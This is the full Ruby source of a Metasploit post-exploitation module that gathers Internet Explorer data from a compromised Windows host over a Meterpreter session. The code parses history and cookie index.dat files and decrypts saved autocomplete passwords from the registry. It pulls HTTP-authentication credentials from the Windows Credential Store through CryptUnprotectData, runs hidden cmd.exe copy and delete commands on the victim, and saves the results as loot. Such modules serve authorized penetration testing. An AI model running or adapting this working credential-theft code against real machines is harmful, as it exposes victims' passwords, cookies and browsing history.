modules/post/windows/gather/enum_ie.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Internet Explorer User Data Enumeration',
'Description' => %q{
This module will collect history, cookies, and credentials (from either HTTP
auth passwords, or saved form passwords found in auto-complete) in
Internet Explorer. The ability to gather credentials is only supported
for versions of IE >=7, while history and cookies can be extracted for all
versions.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
stdapi_fs_stat
stdapi_railgun_api
stdapi_sys_config_getenv
stdapi_sys_config_sysinfo
stdapi_sys_process_attach
stdapi_sys_process_execute
stdapi_sys_process_get_processes
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]
}
}
)
)
end
#
# RAILGUN HELPER FUNCTIONS
#
def is_86
pid = session.sys.process.open.pid
return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
end
def pack_add(data)
if is_86
addr = [data].pack('V')
else
addr = [data].pack('Q<')
end
return addr
end
def mem_write(data, length)
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(length)
process.memory.write(mem, data)
return mem
end
def read_str(address, len, type)
begin
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
raw = process.memory.read(address, len)
if type == 0 # unicode
str_data = raw.gsub("\x00", '')
elsif type == 1 # null terminated
str_data = raw.unpack('Z*')[0]
elsif type == 2 # raw data
str_data = raw
end
rescue StandardError
str_data = nil
end
return str_data || 'Error Decrypting'
end
#
# DECRYPT FUNCTIONS
#
def decrypt_reg(entropy, data)
c32 = session.railgun.crypt32
# set up entropy
salt = []
entropy.each_byte do |c|
salt << c
end
ent = salt.pack('v*')
# save values to memory and pack addresses
mem = mem_write(data, 1024)
mem2 = mem_write(ent, 1024)
addr = pack_add(mem)
len = pack_add(data.length)
eaddr = pack_add(mem2)
elen = pack_add((entropy.length + 1) * 2)
# cal railgun to decrypt
if is_86
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 8)
len, add = ret['pDataOut'].unpack('V2')
else
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 16)
len, add = ret['pDataOut'].unpack('Q2')
end
return '' unless ret['return']
return read_str(add, len, 2)
end
def decrypt_cred(daddr, dlen)
c32 = session.railgun.crypt32
# set up entropy
guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7'
ent_sz = 74
salt = []
guid.each_byte do |c|
salt << c * 4
end
ent = salt.pack('v*')
# write entropy to memory and pack addresses
mem = mem_write(ent, 1024)
addr = pack_add(daddr)
len = pack_add(dlen)
eaddr = pack_add(mem)
elen = pack_add(ent_sz)
# prep vars and call function
if is_86
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
len, add = ret['pDataOut'].unpack('V2')
else
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
len, add = ret['pDataOut'].unpack('Q<2')
end
# get data, and return it
return '' unless ret['return']
return read_str(add, len, 0)
end
#
# Extract IE Data Functions
#
def get_stuff(path, history)
t = DateTime.new(1601, 1, 1, 0, 0, 0)
tmpout = ''
if history
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m
else # get cookies
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m
end
outfile = session.fs.file.new(path, 'rb')
until outfile.eof?
begin
tmpout << outfile.read
rescue StandardError
nil
end
end
outfile.close
urls = tmpout.scan(re)
urls.each do |url|
# date modified
hist = {}
origh = url[0].unpack('H*')[0]
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
newh = harr.reverse.join
hfloat = newh.hex.to_f
sec = hfloat / 10000000
days = sec / 86400
timestamp = t + days
hist['dtmod'] = timestamp.to_s
# date accessed
origh = url[1].unpack('H*')[0]
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
newh = harr.reverse.join
hfloat = newh.hex.to_f
sec = hfloat / 10000000
days = sec / 86400
timestamp = t + days
hist['dtacc'] = timestamp.to_s
hist['url'] = url[2]
if history
@hist_col << hist
@hist_table << [hist['dtmod'], hist['dtacc'], hist['url']]
else
@cook_table << [hist['dtmod'], hist['dtacc'], hist['url']]
end
end
end
def hash_url(url)
rg_advapi = session.railgun.advapi32
tail = 0
prov = 'Microsoft Enhanced Cryptographic Provider v1.0'
flag = 0xF0000000
context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)
h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)
hdata = rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1) * 2, 0)
hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20, 0)
hval_arr = hparam['pbData'].unpack('C*')
hval = hparam['pbData'].unpack('H*')[0]
rg_advapi.CryptDestroyHash(h['phHash'])
rg_advapi.CryptReleaseContext(context['phProv'], 0)
tail = hval_arr.inject(0) { |s, v| s += v }
htail = ('%02x' % tail)[-2, 2]
return "#{hval}#{htail}"
end
def run
# check for meterpreter and version of ie
if (session.type != 'meterpreter') && session.platform !~ (/win/)
print_error('This module only works with Windows Meterpreter sessions')
return 0
end
# get version of ie and check it
ver = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Internet Explorer', 'Version')
print_status("IE Version: #{ver}")
if ver =~ /(6\.|5\.)/
print_error('This module will only extract credentials for >= IE7')
end
# setup tables
@hist_table = Rex::Text::Table.new(
'Header' => 'History data',
'Indent' => 1,
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
)
@cook_table = Rex::Text::Table.new(
'Header' => 'Cookies data',
'Indent' => 1,
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
)
cred_table = Rex::Text::Table.new(
'Header' => 'Credential data',
'Indent' => 1,
'Columns' => ['Type', 'Url', 'User', 'Pass']
)
# set up vars
host = session.sys.config.sysinfo
@hist_col = []
# set paths
regpath = 'HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2'
vist_h = '\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat'
vist_hlow = '\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat'
xp_h = '\\Local Settings\\History\\History.IE5\\index.dat'
vist_c = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat'
vist_clow = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat'
xp_c = '\\Cookies\\index.dat'
h_paths = []
c_paths = []
base = session.sys.config.getenv('USERPROFILE')
if host['OS'] =~ /(Windows 7|2008|Vista)/
h_paths << base + vist_h
h_paths << base + vist_hlow
c_paths << base + vist_c
c_paths << base + vist_clow
else
h_paths << base + xp_h
c_paths << base + xp_c
end
# Get history and cookies
print_status('Retrieving history.....')
h_paths.each do |hpath|
next unless session.fs.file.exist?(hpath)
print_line("\tFile: #{hpath}")
# copy file
cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""
r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })
# loop until cmd is done
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
# end
sleep(1)
# get stuff and delete
get_stuff("#{base}\\index.dat", true)
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
end
print_status('Retrieving cookies.....')
c_paths.each do |cpath|
next unless session.fs.file.exist?(cpath)
print_line("\tFile: #{cpath}")
# copy file
cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""
r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })
# loop until cmd is done
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
# end
sleep(1)
# get stuff and delete
get_stuff("#{base}\\index.dat", false)
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
end
# get autocomplete creds
print_status('Looping through history to find autocomplete data....')
val_arr = registry_enumvals(regpath)
if val_arr
@hist_col.each do |hitem|
url = hitem['url'].split('?')[0].downcase
hash = hash_url(url).upcase
next unless val_arr.include?(hash)
data = registry_getvaldata(regpath, hash)
dec = decrypt_reg(url, data)
# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
# returning an array of nils. If this happens, we can cause an "undefined method
# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
next if dec.empty?
# decode data and add to creds array
header = dec.unpack('VVVVVV')
offset = header[0] + header[1] # offset to start of data
cnt = header[5] / 2 # of username/password combinations
secrets = dec[offset, dec.length - (offset + 1)].split("\x00\x00")
for i in (0..cnt).step(2)
cred = {}
cred['type'] = 'Auto Complete'
cred['url'] = url
cred['user'] = secrets[i].gsub("\x00", '')
cred['pass'] = secrets[i + 1].gsub("\x00", '') unless secrets[i + 1].nil?
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
end
end
else
print_error('No autocomplete entries found in registry')
end
# get creds from credential store
print_status('Looking in the Credential Store for HTTP Authentication Creds...')
# get data from credential store
ret = session.railgun.advapi32.CredEnumerateA(nil, 0, 4, 4)
p_to_arr = ret['Credentials'].unpack('V')
arr_len = ret['Count'] * 4 if is_86
arr_len = ret['Count'] * 8 unless is_86
# read array of addresses as pointers to each structure
raw = read_str(p_to_arr[0], arr_len, 2)
pcred_array = raw.unpack('V*') if is_86
pcred_array = raw.unpack('Q<*') unless is_86
# loop through the addresses and read each credential structure
pcred_array.each do |pcred|
raw = read_str(pcred, 52, 2)
cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86
cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86
location = read_str(cred_struct[2], 512, 1)
next unless location.include? 'Microsoft_WinInet'
decrypted = decrypt_cred(cred_struct[6], cred_struct[5])
cred = {}
cred['type'] = 'Credential Store'
cred['url'] = location.gsub('Microsoft_WinInet_', '')
cred['user'] = decrypted.split(':')[0] || 'No Data'
cred['pass'] = decrypted.split(':')[1] || 'No Data'
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
end
# store data in loot
if !@hist_table.rows.empty?
print_status('Writing history to loot...')
path = store_loot(
'ie.history',
'text/plain',
session,
@hist_table,
'ie_history.txt',
'Internet Explorer Browsing History'
)
print_good("Data saved in: #{path}")
end
if !@cook_table.rows.empty?
print_status('Writing cookies to loot...')
path = store_loot(
'ie.cookies',
'text/plain',
session,
@cook_table,
'ie_cookies.txt',
'Internet Explorer Cookies'
)
print_good("Data saved in: #{path}")
end
if !cred_table.rows.empty?
print_status('Writing gathered credentials to loot...')
path = store_loot(
'ie.user.creds',
'text/plain',
session,
cred_table,
'ie_creds.txt',
'Internet Explorer User Credentials'
)
print_good("Data saved in: #{path}")
# print creds
print_line('')
print_line(cred_table.to_s)
end
end
end